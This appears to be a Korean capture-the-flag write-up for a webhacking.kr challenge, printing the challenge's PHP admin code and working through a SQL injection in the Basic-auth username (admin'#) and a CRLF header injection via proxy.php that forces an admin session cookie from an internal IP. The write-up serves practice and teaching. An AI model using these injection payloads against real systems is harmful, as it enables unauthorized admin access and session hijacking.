처음 문제 화면을 열면 이런 페이지가 나타난다.

'admin page' 를 클릭하면 로그인 창이 뜬다.

‘취소’를 클릭하고 소스를 보자.

코드분석
<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
$_SESSION['login']="";
exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\\.17\\.0\\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
if(!$_SESSION['login']){
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
if(!$_SESSION['login']){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
?><hr><a href=./?view_source=1>view-source</a>
참고로 이 소스 코드는 admin 페이지의 소스 코드다.
취약점을 두 부분으로 나누어 보자.
1. HTTP Request Injection
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\\.17\\.0\\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
admin으로 로그인하면 세션(Session)이라는 것이 생길 것이다.
반드시 admin으로 로그인이 되는 상태에서 공격이 가능하다.
또한, if(preg_match("/^172\\.17\\.0\\./",$_SERVER['REMOTE_ADDR']))코드를 보면 내부 ip에서만 접속 가능하다.
한마디로 로컬 환경에서만 공격이 된다는 얘기다.
2. SQL Injection
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
select id from member where id='{$id}' and pw='{$pw}'코드를 보자.
이 부분을 이용해 SQLi 부분은 매우 쉽게 공략 가능하다.
{$id} 부분에 admin’#를 넣으면 바로 SQLi가 된다.
select id from member where id='admin'# and pw='{$pw}'"
그래서 일단 SQLi로 admin계정으로 로그인을 해보자.


일단 admin 계정으로 로그인은 가능하지만, 로컬 ip로 한 것이 아니라서 FLAG 값을 얻을 수는 없다.
일단 문제의 인덱스(홈)페이지로 돌아가보자.

proxy 페이지가 보인다! 한번 들어가 보자.

이 시점에, 개발자 도구를 켜보면PHPSESSID값이 9qgs4tm207m0l7n8ajosafco3d 로 나온다.
그럼 이 값을 이용해서 HTTP Request Injection을 하면 된다.
익스플로잇
HTTP Request Injection
이 부분의 코드를 유심이 봐야한다.
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\\.17\\.0\\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
- $_SESSION['login'] == "admin": 현재 로그인 세션이 admin이여야 한다. 즉, admin으로 로그인한 상태여야 한다.
- preg_match("/^172\\.17\\.0\\./",$_SERVER['REMOTE_ADDR']: 워게임 문제의 웹 서버가 돌아가는 로컬 서버에서만 공격 가능
이 두 가지를 공략해보자.
다시 proxy 페이지를 보면

프록시 페이지는 /페이지에 요청했을 때의 응답을 보여주고 있다.
우리의 소스코드는 admin페이지의 소스코드이므로, 우리는 admin페이지를 향해 요청을 보낸 것을 proxy페이지에서 확인해야 한다.
페이로드 작성
<http://webhacking.kr:10008/proxy.php?page=/admin/%20HTTP/1.1>
우선 admin페이지에 요청을 보내야 하고, HTTP의 버전은 맞춰야 하므로 다음과 같이 작성한다.
그리고 로그인 Session이 admin이여야 한다는 부분에 주목해 보면, HTTP 요청에 admin으로 로그인했을 때 sessionid(PHPSESSID)를 포함시켜야 한다는 것을 생각해낼 수 있다.
admin으로 로그인 했을 때 PHPSESSID값은 un0rfl56gvo839uueghdm3utis이다.
%0d%0a는 HTTP요청에서 개행을 의미한다.
%0d%0a: URL 인코딩된 CRLF (Carriage Return + Line Feed) 문자열
- %0d = Carriage Return (\\r)
- %0a = Line Feed (\\n)
즉, %0d%0a = \\r\\n HTTP 요청에서 줄바꿈(line break) 으로 쓰이는 표준이다.
%0d%0로 개행 표시를 하고 PHPSESSID를 포함해 HTTP요청을 전송해보면 다음과 같이 응답이 가는 것이다.
http://webhacking.kr:10008/proxy.php?page=/admin/%20HTTP/1.1%0d%0aCookie:PHPSESSID=un0rfl56gvo839uueghdm3utis
그런데 저렇게 보내면 Login Fail이라고 뜬다.
이것은 두 번째 줄에서 HTTP/1.1 에 대한 처리가 안 되서 그렇다.
HTTP 요청은 아래처럼 생겼다.
GET /admin/ HTTP/1.1\\r\\n
Header1: value1\\r\\n
Header2: value2\\r\\n
\\r\\n
[Optional Body]
여기서 헤더의 끝은 반드시 \\r\\n\\r\\n(즉, 빈 줄)로 끝나야 하고, 모든 헤더는 Key: Value 형식을 가져야한다.
그런데 페이로드에 /admin/%20HTTP/1.1%0d%0aCookie:PHPSESSID=un0rfl56gvo839uueghdm3utis이것을 추가하면, Cookie:줄이 무효화 되어 버린다.
그래서 PHPSESSID값을 넣은 후에 개행을 해준 뒤, User-Agent:를 붙이는 것이다.
User-Agent:를 붙여야 하는 다른 이유도 있다.
브라우저에서 직접 입력할 경우, %0d%0a를 몇 개 이상 연속으로 넣으면 브라우저나 프록시에서 필터링하거나 에러를 낼 수 있다.
예: %0d%0a%0d%0a → 일부 필터링에 걸려 작동 안 됨
그래서 정상적인 헤더처럼 보이게 하기 위해서 User-Agent: 라는 유효한 헤더를 하나 더 붙여준다.
최종 페이로드는 다음과 같다.

FLAG 값 : FLAG{Server_Side_Request_Forgery_with_proxy!}
핵심 요약
요소 설명
| proxy.php | 내부 요청을 대신 수행함 (curl 등) |
| %0d%0a | 줄바꿈으로 강제 헤더 삽입 |
| PHPSESSID=... | 관리자 세션을 강제로 지정 |
| 내부 IP 조건 | proxy 내부에서 요청이 발생해서 만족함 |